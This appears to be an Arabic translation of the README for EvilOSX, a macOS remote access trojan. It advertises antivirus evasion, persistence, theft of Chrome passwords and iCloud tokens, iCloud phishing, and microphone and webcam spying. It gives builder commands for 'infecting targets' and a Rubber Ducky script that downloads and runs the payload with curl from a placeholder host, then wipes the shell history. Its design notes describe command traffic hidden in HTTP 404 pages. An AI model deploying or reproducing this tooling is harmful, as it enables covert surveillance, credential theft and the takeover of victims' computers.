EvilOSX
أداة RAT خبيثة (أداة إدارة عن بعد) لنظام macOS / OS X.
مولد Macro بقلم Cedric Owens
هذا المشروع لم يعد نشطًا
الميزات
- محاكاة مثيل طرفية (terminal instance)
- نظام وحدات (module) بسيط قابل للتوسع
- لا تبعيات للبوت (بايثون نقي)
- غير مكتشفة بواسطة مضادات الفيروسات (حمولات مشفرة بـ OpenSSL AES-256)
- دائم (persistent)
- دعم واجهة المستخدم الرسومية وسطر الأوامر
- استرجاع كلمات مرور Chrome
- استرجاع رموز iCloud وجهات الاتصال
- استرجاع/مراقبة الحافظة
- استرجاع تاريخ المتصفح (Chrome و Safari)
- تصيد لكلمات مرور iCloud عبر iTunes
- تعداد نسخ iTunes الاحتياطية (iOS)
- تسجيل الميكروفون
- التقاط لقطة شاشة سطح المكتب أو صورة باستخدام كاميرا الويب
- محاولة الحصول على صلاحيات الجذر عبر تصعيد الامتيازات المحلية
كيفية الاستخدام
# Clone أو تنزيل هذا المستودع
$ git clone https://github.com/Marten4n6/EvilOSX
# الانتقال إلى المستودع
$ cd EvilOSX
# تثبيت التبعيات المطلوبة من قبل الخادم
$ sudo pip install -r requirements.txt
# تشغيل الواجهة الرسومية
$ python start.py
# أخيرًا، قم بتشغيل launcher المبني على أهدافك
تحذير: نظرًا لأن الحمولات تُنشأ فريدة حسب النظام المستهدف (تلقائيًا بواسطة الخادم)، يجب أن يكون الخادم قيد التشغيل عند اتصال أي بوت لأول مرة.
المستخدمون المتقدمون
يوجد أيضًا واجهة سطر أوامر لأولئك الذين يرغبون في استخدام هذا عبر SSH:
# إنشاء launcher لإصابة أهدافك
$ python start.py --builder
# تشغيل واجهة سطر الأوامر
$ python start.py --cli --port 1337
# أخيرًا، قم بتشغيل launcher المبني على أهدافك
لقطات الشاشة

الدافع
تم إنشاء هذا المشروع لاستخدامه مع Rubber Ducky الخاص بي، إليك النص البرمجي البسيط:
REM تحميل وتنفيذ EvilOSX @ https://github.com/Marten4n6/EvilOSX
REM انظر أيضًا: https://ducktoolkit.com/vidpid/
DELAY 1000
GUI SPACE
DELAY 500
STRING Termina
DELAY 1000
ENTER
DELAY 1500
REM إنهاء جميع المحطات بعد x ثانية
STRING screen -dm bash -c 'sleep 6; killall Terminal'
ENTER
STRING cd /tmp; curl -s HOST_TO_EVILOSX.py -o 1337.py; python 1337.py; history -cw; clear
ENTER
- يستغرق الأمر حوالي 10 ثوانٍ لاختراق أي ماك غير مقفل، وهذا... لطيف
- تمت كتابة Terminal بهذه الطريقة عن قصد، في بعض الأنظمة لن يجد spotlight المحطة الطرفية بخلاف ذلك.
- لتجاوز معالج إعداد لوحة المفاتيح، تأكد من تغيير VID&PID الموجود هنا.
لوحة المفاتيح الألومنيوم (ISO) ربما هي التي تبحث عنها.
الإصدارات
سيتم صيانة EvilOSX وفقًا لإرشادات Semantic Versioning قدر الإمكان.
سيتم ترقيم إصدارات الخادم والبوت وفقًا للتنسيق التالي:
وبناءً على الإرشادات التالية:
- كسر التوافق مع الإصدارات السابقة (مع البوتات الأقدم) يرفع رقم major
- الإضافات الجديدة دون كسر التوافق ترفع رقم minor
- إصلاحات الأخطاء والتغييرات المتنوعة ترفع رقم patch
لمزيد من المعلومات حول SemVer، يرجى زيارة https://semver.org/.
ملاحظات التصميم
- إصابة جهاز مقسمة إلى ثلاثة أجزاء:
- يتم تشغيل launcher على الجهاز المستهدف الذي هدفه الوحيد هو تشغيل stager
- يطلب stager من الخادم loader يعالج كيفية تحميل الحمولة
- يُعطى loader حمولة مشفرة بشكل فريد ثم تُعاد إلى stager
- يخفي الخادم اتصالاته عن طريق إرسال رسائل مخبأة في صفحات خطأ HTTP 404 (من "Hiding In Plain Sight" في BlackHat)
- يتم استرداد طلبات الأوامر من الخادم عبر طلب GET
- يتم إرسال ردود الأوامر إلى الخادم عبر طلب POST
- تستفيد الوحدات من الطبيعة الديناميكية للبايثون، فهي تُرسل ببساطة عبر الشبكة مضغوطة باستخدام zlib، مع أي خيارات تكوين
- نظرًا لأن البوت يتواصل فقط مع الخادم وليس العكس، فلا توجد طريقة للخادم لمعرفة متى يخرج البوت عن الاتصال
المشكلات
لا تتردد في إرسال أي مشكلات أو طلبات ميزات هنا.
المساهمة
لدليل بسيط حول كيفية إنشاء الوحدات انقر هنا.
الإسناد
- مشروع Empire الرائع
- تحية لـ Patrick Wardle على محادثاته الرائعة، تفقد Objective-See
- manwhoami لمشاريعه: OSXChromeDecrypt, MMeTokenDecrypt, iCloudContacts
(محذوفة الآن... أخبرني إذا ظهرت مرة أخرى)
- وحدة slowloris منسوخة إلى حد كبير من PySlowLoris
- urwid وهذا الكود الذي وفر لي الكثير من الوقت مع واجهة سطر الأوامر
- الشعار من تصميم motusora
الترخيص
GPLv3